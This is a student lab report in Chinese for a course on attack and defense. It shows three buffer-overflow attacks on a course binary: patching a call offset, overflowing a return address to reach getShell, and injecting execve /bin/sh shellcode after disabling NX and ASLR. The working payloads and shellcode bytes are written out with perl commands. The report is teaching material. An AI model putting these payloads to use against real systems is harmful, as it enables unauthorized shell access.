20222319zzs 2024-2025-1 《網路與系統攻防技術》實驗一實驗報告

20222319發表於2024-10-11

1.實驗內容

1.1知識回顧

1.1.1什麼是緩衝區溢位?

計算機中,如果程式試圖向一個緩衝區填充超出它能夠容納的資料,溢位的資料可能會覆蓋其他重要的記憶體區域,導致程式執行失敗甚至崩潰,如果這些溢位資料是精心設計的.則攻擊者就可以利用它們指向預先設計的攻擊程式碼(shellcode)(Shellcode是核彈!!!)。
漏洞存在的根本原因是馮諾依曼體系中,資料指令沒有明顯區分。

1.1.2緩衝區溢位的例項有哪些?

Codered利用IIS漏洞(紅色程式碼)
SQL slammer蠕蟲利用SQL Server漏洞
Blaster 利用RPC漏洞(衝擊波病毒)
Sasser利用LSASS漏洞(震盪波病毒)
Sapphire蠕蟲(藍寶石)
Witty蠕蟲
WannaCry(勒索病毒)

1.1.3實驗前置知識

編譯器:例如C/C++等高階語言編寫的程式,需要透過編譯器(Compiler)和聯結器(Linker)生成在OS上執行的可執行程式程式碼。
偵錯程式:開發人員在執行時除錯與分析程式行為的工具,如GDB。
暫存器:通用暫存器、段暫存器、控制暫存器、其他暫存器
組合語言、反彙編過程
linux基礎指令:ls、cd、sudo等
函式在棧結構中的執行過程
EBP棧底指標(在高地址)、ESP棧頂指標(在低地址)、EIP指令指標暫存器(指向下一條將要執行的指令的地址)
Shell

1.2實驗要幹什麼

本次實踐的物件是一個名為pwn20222319的linux可執行檔案(本實驗任務三中我將其分為pwn20222319_d7與pwn20222319_c3)。該程式正常執行流程是:main呼叫foo函式,使用者輸入什麼字串,foo就返回什麼字串。
該程式同時包含另一個函式getShell,功能是返回一個可用Shell。
三個實驗任務即是從三個角度嘗試實現這一個正常情況下不會被執行的Shell的成功呼叫。

原理如下:
任務一 手工修改可執行檔案,改變程式執行流程,直接跳轉到getShell函式。
任務二 利用foo函式的Bof漏洞,構造一個攻擊輸入字串,覆蓋返回地址,觸發getShell函式。
任務三 注入一個精心製作的shellcode並執行這段shellcode。

2.實驗過程

2.1任務一 手工修改函式跳轉地址,直接呼叫到Shell

首先修改命令列提示符,其格式為XXX@YYY,XXX為使用者名稱,即目前登入該伺服器的使用者的名字,任務一中未對其進行修改故為kali,實驗二、三中進行了修改。
YYY為主機名,在命令列中可透過如
hostname zzs
進行更改。

2.1.1將目標檔案放入實驗環境中

將下載好的pwn1檔案直接從windows資料夾裡從拖入經kali視覺化後的linux操作介面中,如下圖

此時pwn1檔案儲存於桌面上,因此在命令列中應使用指令cd Desktop進入pwn1所在的介面,方便操作
其檔名也可透過如mv pwn1 pwn20222319進行修改

2.1.2將目標檔案進行反彙編

在pwn20222319檔案所在目錄下,使用objdump -d pwn20222319 | more進行反彙編,檢視其函式地址結構,結果如下圖

找到getShell、foo、main三函式所在的地址

得知主函式main在執行過程中call指令跳轉到08048491位置,即foo函式首地址,因此能呼叫foo函式,所以我們只要將此處的程式碼修改為getShell函式的首地址,即可實現攻擊目標

但應該如何改呢?

首先得知道,此處機器指令e8 d7ffffff中,e8含跳轉的功能,d7ffffff是補碼,代表-41,因此其功能就是跳轉到EIP + d7ffffff這個位置的指令,
又因為EIP通常為下一條機器指令的地址,
所以有41=0x29,0x080484ba+0xd7ffffff=0x80484ba-0x29=0x08048491

所以要實現向getShell函式的跳轉,得知道其首地址0x0804847d,
所以0x0804847d-0x080484ba=-0x3d,補碼為0xffffffc3,所以相應機器碼應為c3ffffff

2.1.3開啟檔案進行修改

使用指令vi pwn20222319開啟檔案,會出現下圖所示情況,此時需輸入:%!xxd將檔案顯示模式切換為16進位制模式

然後輸入/e8 d7指令搜尋需要修改的機器指令,

按鍵盤上的i鍵進入Insert模式,修改d7為c3
最後輸入:%!xxd -r返回原顯示模式,:wq儲存退出


顯然,此時pwn20222319實現了getShell函式的功能,攻擊成功

2.2任務二 透過輸入惡意字串覆蓋返回地址,觸發getShell函式(BOF攻擊)

2.2.1下載GDB

在輸入gdb指令進行除錯時,發現虛擬機器上未提前安裝好gdb,提示可用apt install相關指令進行安裝,
但實際上由於apt資源庫非最新,所以gdb不能據apt install指令下載,得先使用sudo apt update更新apt資源後方可下載gdb。如下兩圖。

2.2.2 確認使用什麼字元可以覆蓋目標返回地址

透過反彙編可知,foo函式只為讀入字串預留了28位元組的緩衝區,超出部分會造成溢位,存在Buffer overflow漏洞。


由上兩圖可知,當輸入較長字串1111111122222222333333334444444455555555時,函式下一條指令的暫存器EIP會被0x35353535覆蓋,即第33到40個字元區域的某四個字元所覆蓋,

而由另一較長字元1111111122222222333333334444444412345678定位可知,修改字串中第33到36位位元組為getShell函式的首地址即可使該函式執行Shell
據反彙編可知,getShell函式首地址為0x0804847d,因此我們應輸入
11111111222222223333333344444444\x7d\x84\x04\x08進行BOF攻擊

2.2.3 透過檔案管道輸入無法鍵盤輸入的字元

由為我們沒法透過鍵盤輸入\x7d\x84\x04\x08這樣的16進位制值,所以我們得透過
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input20222319生成一個檔案(\x0a表示回車),並透過管道符“|”間接輸入進pwn20222319中。結果如下

顯然,此時pwn20222319實現了getShell函式的功能,攻擊成功

2.3任務三 透過注入Shellcode進行攻擊

2.3.1下載execstack

由於execstack無法透過apt下載,因此我們可以透過wget指令從網際網路上下載相應檔案
此處我使用wget http://ftp.de.debian.org/debian/pool/main/p/prelink/execstack_0.0.20131005-1+b10_amd64.deb
下載目標壓縮檔案到Desktop目錄下,再用
sudo dpkg -i execstack_0.0.20131005-1+b10_amd64.deb進行解壓,即可下載好execstack。如圖

2.3.2調好檔案執行環境

透過指令execstack -s pwn20222319設定堆疊可執行
再透過echo "0" > /proc/sys/kernel/randomize_va_space取消棧地址隨機化,結果如下圖

2.3.3準備一段Shellcode進行注入測試

首先設計好一段Shellcode,以16進位制的形式將其寫在檔案input_shellcode20222319_test中,即輸入perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode20222319_test如圖

然後將該檔案管道輸入至檔案pwn20222319中(此處為了分辨清晰,我將其命名為pwn20222319_d7,以示其正常情況下不執行Shell),注意此時不輸入任何字元,保持其持續執行即可

與此同時,開啟另一個終端,輸入ps -ef | grep pwn20222319_d7,檢視pwn20222319_d7的程序號,發現為265174

進入偵錯程式gdb,輸入attach 265174連線該程序


輸入disassemble foo檢視該程式中foo函式的執行情況,查詢各暫存器地址狀態

輸入break *0x080484ae設定斷點於函式返回地址
輸入c,讓程式繼續執行,並保持監控

返回第一個終端,敲一個回車即可,可見命令列會彈出如圖字元提示,

第二終端同樣會有命令列的響應,如圖

此時輸入info r esp顯示當前棧指標(ESP暫存器)的值,發現其為0xffffd36c
再輸入x/16x ffffd36c以16進位制格式檢視記憶體地址 0xfffd36c 開始的 16 個字(每個字 4 位元組)內容
發現0x01020304就在其中,地址為0xffffd36c,因為棧地址會從高到低增長,且是從右往左存的,因此得為0xffffd36c+4位元組,即目標地址應為0xffffd370

2.3.4構造要注入的payload,進行攻擊

輸入
perl -e 'print "\x70\xd3\xff\xff\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode20222319生成最終執行攻擊的注入檔案,透過管道輸入執行pwn20222319_d7程式,回車後返回如圖結果,之後即可執行Shell程式,ls、cd、exit等功能皆能執行

顯然,注入攻擊成功

3.問題及解決方案

  • 問題1:pwn檔案無法執行,顯示permission deny
    問題1解決方案:經查詢,該檔案是從windows系統複製到linux系統中,在linux中缺少執行許可權,輸入指令chmod +x ./pwn20222319即可

  • 問題2:在使用者介面以vi命令編輯pwn檔案時,使用/e8d7、/e8 d7、/d7ff都無法搜尋到相關內容

    問題2解決方案:進入目標檔案所在目錄下,使用sudo su進入root模式,再用vi命令開啟檔案即可搜尋到。經查閱資料,問題原因可能是因為許可權、所有權或安全策略的不同而導致普通使用者許可權下與root許可權下出現搜尋結果差異,透過調整檔案許可權可以讓普通使用者正常搜尋到目標內容。當然也不排除是檔案受損的原因。

  • 問題3:取消地址隨機化後,函式的返回地址依然隨機
    問題3解決方案:實際上是第一次實驗時設定了取消地址隨機化,退出虛擬機器第二次進入進行實驗進入linux終端時,系統又變回了地址隨機化的狀態,再改一次就好。

  • 問題4:檔案從windows介面拖入普通使用者登入的linux介面裡的桌面時有複製提示無桌面複製檔案
    問題4解決方案:最開始考慮可能是使用者許可權問題,因為root使用者不能開啟普通使用者的資料夾,反之也是,因此不能直接互相從對方檔案裡複製,因此在查閱許多種在同一臺linux伺服器不同賬號間互傳檔案的方法,包括scp傳輸、ftp傳輸、透過winSCP等第三方軟體訪問普通使用者的資料等等方法,最終選擇了在linux根目錄建立一個共享文件,配好任何人可使用的許可權後才解決。但在寫實驗報告覆盤實驗經過時,發現竟然又可以拖了,就很神奇,難以解釋。

4.學習感悟、思考等

經過本次實驗,我主要學會了針對緩衝區溢位漏洞的三種不同攻擊方法,第一種是修改主函式的函式呼叫地址,第二種是使用較長的字串覆蓋子函式返回地址,第三種是構建一個payload透過字串覆蓋從而注入程序序中進行呼叫。不禁令人感慨馮諾依曼體系指令與資料不分後果非常嚴重,也讓人感慨一代代程式設計師們為補上這一個漏洞做了多少的補丁,諸如字串陣列邊界檢查、不安全函式檢查、完整性檢查,還有Stack Canary保護、NX保護與ASLR。
特別是ASLR,在本次實驗中困擾了我很久,在以為關閉地址隨機化情況下,任務三我前前後後重做了好幾遍,嚴格按照指導書內容來做,排除了檔案許可權,注入內容,執行檔案內容等等方面的原因,最後才發現目標返回地址每次都不一樣,所以任務三鐵定是無法成功的,就算能成功那也是蒙對的,可是機率極其微小。因此我在本次實驗中對於地址隨機化抗緩衝區溢位攻擊的能力極為信服,不把它關掉幾乎是不可能成功進行緩衝區溢位攻擊的。
當然,本次實驗也加深了我對於linux命令的熟悉程度。
此外,出於本實驗的需要,我也認識了一些x86組合語言的指令及其機器碼

NOP-----0x90 空指令,用於建立時間延遲或佔位
JNE------0x75 如果前一個比較指令結果不相等,則跳轉到指定標籤
JE--------0x74 如果前一個比較指令結果相等,則跳轉到指定標籤
JMP------0xEB 無條件跳轉到指定標籤
CMP------0x39 比較兩個運算元,一般與JNE或JE連用

參考資料

  • 《組合語言指令大全(詳細)》
  • 0x11_MAL_逆向與Bof基礎.md
  • Linux在同一臺伺服器不同賬號之間傳輸檔案
    Linux下新增使用者並賦予root許可權三種方法(即透過sudo行駛root許可權)

相關文章